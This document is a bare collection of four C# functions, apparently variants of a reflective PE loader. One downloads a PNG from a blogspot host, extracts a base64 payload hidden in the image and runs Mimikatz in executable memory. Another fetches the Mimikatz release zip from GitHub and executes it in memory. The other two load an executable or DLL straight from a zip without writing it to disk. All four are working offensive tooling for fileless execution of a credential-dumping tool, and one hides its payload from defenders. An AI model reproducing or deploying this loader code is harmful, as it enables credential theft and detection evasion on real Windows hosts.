public static void Main() { string url = "http://4.bp.blogspot.com/-L1KeuXYcw18/VfEA-7r0suI/AAAAAAAAAUg/-yiiMQC8Ro8/s1600/skullkatz-full.png"; WebClient request = new System.Net.WebClient(); byte[] bytes = request.DownloadData(url); string b64 = System.Text.Encoding.ASCII.GetString(bytes, 51436, bytes.Length - 51436); byte[] realdeal = System.Convert.FromBase64String(b64); PELoader pe = new PELoader(realdeal); Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4")); IntPtr codebase = IntPtr.Zero; codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4")); //Copy Sections for (int i = 0; i < pe.FileHeader.NumberOfSections; i++) { IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData); Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4")); } //Perform Base Relocation //Calculate Delta long currentbase = (long)codebase.ToInt64(); long delta; delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase); Console.WriteLine("Delta = {0}", delta.ToString("X4")); //Modify Memory Based On Relocation Table //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4")); //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4")); IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress)); //Console.WriteLine(relocationTable.ToString("X4")); NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4")); //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4")); int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr nextEntry = relocationTable; int sizeofNextBlock = (int)relocationEntry.SizeOfBlock; IntPtr offset = relocationTable; while (true) { NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock); relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress); //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2); //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) { IntPtr patchAddr; UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); UInt16 type = (UInt16)(value >> 12); UInt16 fixup = (UInt16)(value & 0xfff); //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4")); switch (type) { case 0x0: break; case 0xA: patchAddr = IntPtr.Add(dest, fixup); //Add Delta To Location. long originalAddr = Marshal.ReadInt64(patchAddr); Marshal.WriteInt64(patchAddr, originalAddr + delta); break; } } offset = IntPtr.Add(relocationTable, sizeofNextBlock); sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; relocationEntry = relocationNextEntry; nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock); if (relocationNextEntry.SizeOfBlock == 0) { break; } } //Resolve Imports IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress); int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16)); //Get And Display Each DLL To Load for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically. { IntPtr a1 = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress); int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16)); IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part? IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12)))); string DllName = Marshal.PtrToStringAnsi(dllNamePTR); if (DllName == "") { break; } IntPtr handle = NativeDeclarations.LoadLibrary(DllName); Console.WriteLine("Loaded {0}", DllName); for (int k = 1; k < 9999; k++) { IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2))); string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2)); //Console.WriteLine("Function {0}", DllFuncName); IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName); Marshal.WriteInt64(a2, (long)funcAddy); a2 = IntPtr.Add(a2, 8); if (DllFuncName == "") { break; } } //Console.ReadLine(); } //Transfer Control To OEP Console.WriteLine("Executing Mimikatz"); IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint); IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero); NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF); Console.WriteLine("Thread Complete"); //Console.ReadLine(); } //End Main
public static void Main(string[] args) { if (args.Length < 2) { Console.WriteLine("[ERROR] Missing arguments."); Console.WriteLine("Usage: {0} <zip_file> <exe_name_within_zip_file>", System.Diagnostics.Process.GetCurrentProcess().ProcessName); Environment.Exit(-1); } // Array of bytes containing the unpacked version of the exe byte[] unpacked = null; try { // Reading all Bytes from the zip file byte[] zip = File.ReadAllBytes(args[0]); Stream data = new MemoryStream(zip); //The original data Stream unzippedEntryStream; //Unzipped data from a file in the archive ZipArchive archive = new ZipArchive(data); foreach (ZipArchiveEntry entry in archive.Entries) { if (entry.FullName == args[1]) { Console.WriteLine("Found EXE to be executed in the zip file: {0}", entry.FullName); unzippedEntryStream = entry.Open(); // .Open will return a stream unpacked = ReadFully(unzippedEntryStream); } } } catch (Exception ex) { while (ex != null) { Console.WriteLine(ex.Message); ex = ex.InnerException; } } PELoader pe = new PELoader(unpacked); IntPtr codebase = IntPtr.Zero; if (!pe.Is32BitHeader) { Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4")); codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4")); } else { Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader32.ImageBase.ToString("X4")); codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader32.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader32.SizeOfImage.ToString("X4"), codebase.ToString("X4")); } //Copy Sections for (int i = 0; i < pe.FileHeader.NumberOfSections; i++) { IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData); Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4")); } //Perform Base Relocation //Calculate Delta long currentbase = (long)codebase.ToInt64(); long delta; if (!pe.Is32BitHeader) { delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase); } else { delta = (long)(currentbase - (long)pe.OptionalHeader32.ImageBase); } Console.WriteLine("Delta = {0}", delta.ToString("X4")); //Modify Memory Based On Relocation Table //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4")); //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4")); int virtualAddress; if (!pe.Is32BitHeader) { virtualAddress = (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress; } else { virtualAddress = (int)pe.OptionalHeader32.BaseRelocationTable.VirtualAddress; } IntPtr relocationTable = (IntPtr.Add(codebase, virtualAddress)); //Console.WriteLine(relocationTable.ToString("X4")); NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4")); //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4")); int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr nextEntry = relocationTable; int sizeofNextBlock = (int)relocationEntry.SizeOfBlock; IntPtr offset = relocationTable; while (true) { NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock); relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress); //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2); //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) { IntPtr patchAddr; UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); UInt16 type = (UInt16)(value >> 12); UInt16 fixup = (UInt16)(value & 0xfff); //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4")); switch (type) { case 0x0: break; case 0xA: patchAddr = IntPtr.Add(dest, fixup); //Add Delta To Location. long originalAddr = Marshal.ReadInt64(patchAddr); Marshal.WriteInt64(patchAddr, originalAddr + delta); break; } } offset = IntPtr.Add(relocationTable, sizeofNextBlock); sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; relocationEntry = relocationNextEntry; nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock); if (relocationNextEntry.SizeOfBlock == 0) { break; } } //Resolve Imports IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); IntPtr oa1 = IntPtr.Add(codebase, virtualAddress); int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16)); //Get And Display Each DLL To Load for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically. { IntPtr a1 = IntPtr.Add(codebase, (20 * j) + virtualAddress); int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16)); IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part? IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12)))); string DllName = Marshal.PtrToStringAnsi(dllNamePTR); if (DllName == "") { break; } IntPtr handle = NativeDeclarations.LoadLibrary(DllName); Console.WriteLine("Loaded {0}", DllName); for (int k = 1; k < 9999; k++) { IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2))); string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2)); //Console.WriteLine("Function {0}", DllFuncName); IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName); Marshal.WriteInt64(a2, (long)funcAddy); a2 = IntPtr.Add(a2, 8); if (DllFuncName == "") { break; } } //Console.ReadLine(); } //Transfer Control To OEP Console.WriteLine("Executing inner executable"); IntPtr threadStart; if (!pe.Is32BitHeader) { threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint); } else { threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader32.AddressOfEntryPoint); } IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero); NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF); Console.WriteLine("Thread Complete"); //Console.ReadLine(); } //End Main
private static void ExecutePELoader(string[] args) { PELoader pe = Unpack(args); DllEntryDelegate _dllEntry; uint SizeOfImage; ulong ImageBase; IntPtr CodeBase; IntPtr RelocationTable; IntPtr ImportTableVirtualAddress; uint ImportTableVirtualAddressOffset; uint AddressOfEntryPoint; if (pe.Is32BitHeader) { SizeOfImage = pe.OptionalHeader32.SizeOfImage; ImageBase = pe.OptionalHeader32.ImageBase; AddressOfEntryPoint = pe.OptionalHeader32.AddressOfEntryPoint; ImportTableVirtualAddressOffset = pe.OptionalHeader32.ImportTable.VirtualAddress; } else { SizeOfImage = pe.OptionalHeader64.SizeOfImage; ImageBase = pe.OptionalHeader64.ImageBase; AddressOfEntryPoint = pe.OptionalHeader64.AddressOfEntryPoint; ImportTableVirtualAddressOffset = pe.OptionalHeader64.ImportTable.VirtualAddress; } Console.WriteLine("Preferred Load Address = {0:X16}", ImageBase); CodeBase = NativeDeclarations.VirtualAlloc( IntPtr.Zero, SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Console.WriteLine( "Allocated Space For {0:X16} at {1:X16}", SizeOfImage, CodeBase); //Copy Sections for (int i = 0; i < pe.FileHeader.NumberOfSections; i++) { IntPtr SectionVirtualAddress = (IntPtr)((byte *)CodeBase + pe.ImageSectionHeaders[i].VirtualAddress); IntPtr MappedVirtualAddress = NativeDeclarations.VirtualAlloc( SectionVirtualAddress, pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE ); Marshal.Copy( pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, MappedVirtualAddress, (int)pe.ImageSectionHeaders[i].SizeOfRawData); Console.WriteLine("Section {0}, Copied To {1:X16}", pe.ImageSectionHeaders[i].Name, MappedVirtualAddress); } //Perform Base Relocation long delta; if (pe.Is32BitHeader) { int currentbase = CodeBase.ToInt32(); delta = currentbase - (int)ImageBase; RelocationTable = (IntPtr)((byte *)CodeBase + pe.OptionalHeader32.BaseRelocationTable.VirtualAddress); } else { long currentbase = CodeBase.ToInt64(); delta = currentbase - (long)ImageBase; RelocationTable = (IntPtr)((byte *)CodeBase + pe.OptionalHeader64.BaseRelocationTable.VirtualAddress); } if (delta >= 0) { Console.WriteLine("Delta = {0:X16}", delta); } else { Console.WriteLine("Delta = -{0:X16}", -delta); } NativeDeclarations.IMAGE_BASE_RELOCATION RelocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); RelocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure( RelocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr nextEntry = RelocationTable; int sizeofNextBlock = (int)RelocationEntry.SizeOfBlock; IntPtr offset = RelocationTable; while (true) { NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); IntPtr x = (IntPtr)((byte *)RelocationTable + sizeofNextBlock); relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure( x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr dest = (IntPtr)((byte *)CodeBase + (int)RelocationEntry.VirtualAdress); for (int i = 0; i < (int)((RelocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) { IntPtr patchAddr; UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); UInt16 type = (UInt16)(value >> 12); UInt16 fixup = (UInt16)(value & 0xfff); long originalAddr; long fixedAddr; patchAddr = (IntPtr)((byte *)dest + fixup); switch (type) { case 0x0: Console.WriteLine("[R] ABS"); break; case 0x3: originalAddr = (long)Marshal.ReadInt32(patchAddr); fixedAddr = originalAddr + delta; Console.WriteLine( "[R] {0:X8} (+ {1}) -> {2:X8}", originalAddr, delta, fixedAddr); Marshal.WriteInt32(patchAddr, (int)fixedAddr); break; case 0xA: originalAddr = Marshal.ReadInt64(patchAddr); fixedAddr = originalAddr + delta; Console.WriteLine( "[R] {0:X16} (+ {1}) -> {2:X16}", originalAddr, delta, fixedAddr); Marshal.WriteInt64(patchAddr, fixedAddr); break; default: Console.WriteLine("[R] Invalid relocation: {0}", type); break; } } offset = (IntPtr)((byte *)RelocationTable + sizeofNextBlock); sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; RelocationEntry = relocationNextEntry; nextEntry = (IntPtr)((byte *)nextEntry + sizeofNextBlock); if (relocationNextEntry.SizeOfBlock == 0) { break; } } ImportTableVirtualAddress = (IntPtr)((byte *)CodeBase + ImportTableVirtualAddressOffset); //Get And Display Each DLL To Load for (int j = 0; j < MAX_RECORDS; j++) //HardCoded Number of DLL's Do this Dynamically. { IntPtr ImportRecord = (IntPtr)((byte *)ImportTableVirtualAddress + (20 * j)); IntPtr DllFuncOFTOfft = (IntPtr)((byte *)(ImportRecord) + 0); IntPtr DllNameOfft = (IntPtr)((byte *)(ImportRecord) + 12); IntPtr DllFuncFTOfft = (IntPtr)((byte *)(ImportRecord) + 16); IntPtr dllNamePTR = (IntPtr)((byte *)CodeBase + Marshal.ReadInt32(DllNameOfft)); int FTPtr = Marshal.ReadInt32(DllFuncFTOfft); int OFTPtr = Marshal.ReadInt32(DllFuncOFTOfft); IntPtr DllFuncNameIdx = (IntPtr)0; IntPtr DllFuncPtrIdx = (IntPtr)(IntPtr)((byte *)CodeBase + FTPtr); if (OFTPtr != 0) { DllFuncNameIdx = (IntPtr)((byte *)CodeBase + OFTPtr); } else { DllFuncNameIdx = (IntPtr)((byte *)CodeBase + FTPtr); } string DllName = Marshal.PtrToStringAnsi(dllNamePTR); Console.WriteLine("Import DLL {0}", DllName); if (DllName == "") { break; } IntPtr handle = NativeDeclarations.LoadLibrary(DllName); Console.WriteLine("Loaded {0} -> {1}", DllName, handle); for (int k = 1; k < MAX_RECORDS; k++) { IntPtr DllFuncNamePtr = ((IntPtr)((byte *)CodeBase + Marshal.ReadInt32(DllFuncNameIdx))); string DllFuncName = Marshal.PtrToStringAnsi((IntPtr)((byte *)DllFuncNamePtr + 2)); IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName); Console.WriteLine("Import Function {0} -> {1:X16}", DllFuncName, funcAddy); if (pe.Is32BitHeader) { Marshal.WriteInt32(DllFuncPtrIdx, (int)funcAddy); DllFuncPtrIdx = (IntPtr)((byte *)DllFuncPtrIdx + 4); DllFuncNameIdx = (IntPtr)((byte *)DllFuncNameIdx + 4); } else { Marshal.WriteInt64(DllFuncPtrIdx, (long)funcAddy); DllFuncPtrIdx = (IntPtr)((byte *)DllFuncPtrIdx + 8); DllFuncNameIdx = (IntPtr)((byte *)DllFuncNameIdx + 8); } if (DllFuncName == "") { break; } } } IntPtr OEP = (IntPtr)((byte *)CodeBase + AddressOfEntryPoint); //Transfer Control To OEP Console.WriteLine("Executing DLL [OEP -> {0:X16}]", OEP); _dllEntry = (DllEntryDelegate)Marshal.GetDelegateForFunctionPointer(OEP, typeof(DllEntryDelegate)); if (_dllEntry == null || !_dllEntry((byte *)CodeBase, DllReason.DLL_PROCESS_ATTACH, (void *)1)) { throw new Exception("Can't attach DLL to process."); } }
public static void Main() { WebClient getKatz = new WebClient(); byte[] unpacked = null; try { byte[] latestMimikatz = getKatz.DownloadData(@"https://github.com/gentilkiwi/mimikatz/releases/download/2.0.0-alpha-20150902/mimikatz_trunk.zip"); //Yes. You will need to change that... And make it a parameter... Stream data = new MemoryStream(latestMimikatz); //The original data Stream unzippedEntryStream; //Unzipped data from a file in the archive ZipArchive archive = new ZipArchive(data); foreach (ZipArchiveEntry entry in archive.Entries) { if (entry.FullName == @"x64/mimikatz.exe") { Console.WriteLine(entry.FullName); unzippedEntryStream = entry.Open(); // .Open will return a stream unpacked = ReadFully(unzippedEntryStream); } } } catch (Exception ex) { while (ex != null) { Console.WriteLine(ex.Message); ex = ex.InnerException; } } Console.WriteLine("Downloaded Latest"); PELoader pe = new PELoader(unpacked); Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4")); IntPtr codebase = IntPtr.Zero; codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4")); //Copy Sections for (int i = 0; i < pe.FileHeader.NumberOfSections; i++) { IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData); Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4")); } //Perform Base Relocation //Calculate Delta long currentbase = (long)codebase.ToInt64(); long delta; delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase); Console.WriteLine("Delta = {0}", delta.ToString("X4")); //Modify Memory Based On Relocation Table //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4")); //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4")); IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress)); //Console.WriteLine(relocationTable.ToString("X4")); NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4")); //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4")); int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr nextEntry = relocationTable; int sizeofNextBlock = (int)relocationEntry.SizeOfBlock; IntPtr offset = relocationTable; while (true) { NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock); relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress); //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2); //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) { IntPtr patchAddr; UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); UInt16 type = (UInt16)(value >> 12); UInt16 fixup = (UInt16)(value & 0xfff); //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4")); switch (type) { case 0x0: break; case 0xA: patchAddr = IntPtr.Add(dest, fixup); //Add Delta To Location. long originalAddr = Marshal.ReadInt64(patchAddr); Marshal.WriteInt64(patchAddr, originalAddr + delta); break; } } offset = IntPtr.Add(relocationTable, sizeofNextBlock); sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; relocationEntry = relocationNextEntry; nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock); if (relocationNextEntry.SizeOfBlock == 0) { break; } } //Resolve Imports IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress); int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16)); //Get And Display Each DLL To Load for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically. { IntPtr a1 = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress); int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16)); IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part? IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12)))); string DllName = Marshal.PtrToStringAnsi(dllNamePTR); if (DllName == "") { break; } IntPtr handle = NativeDeclarations.LoadLibrary(DllName); Console.WriteLine("Loaded {0}", DllName); for (int k = 1; k < 9999; k++) { IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2))); string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2)); //Console.WriteLine("Function {0}", DllFuncName); IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName); Marshal.WriteInt64(a2, (long)funcAddy); a2 = IntPtr.Add(a2, 8); if (DllFuncName == "") { break; } } //Console.ReadLine(); } //Transfer Control To OEP Console.WriteLine("Executing Mimikatz"); IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint); IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero); NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF); Console.WriteLine("Thread Complete"); //Console.ReadLine(); } //End Main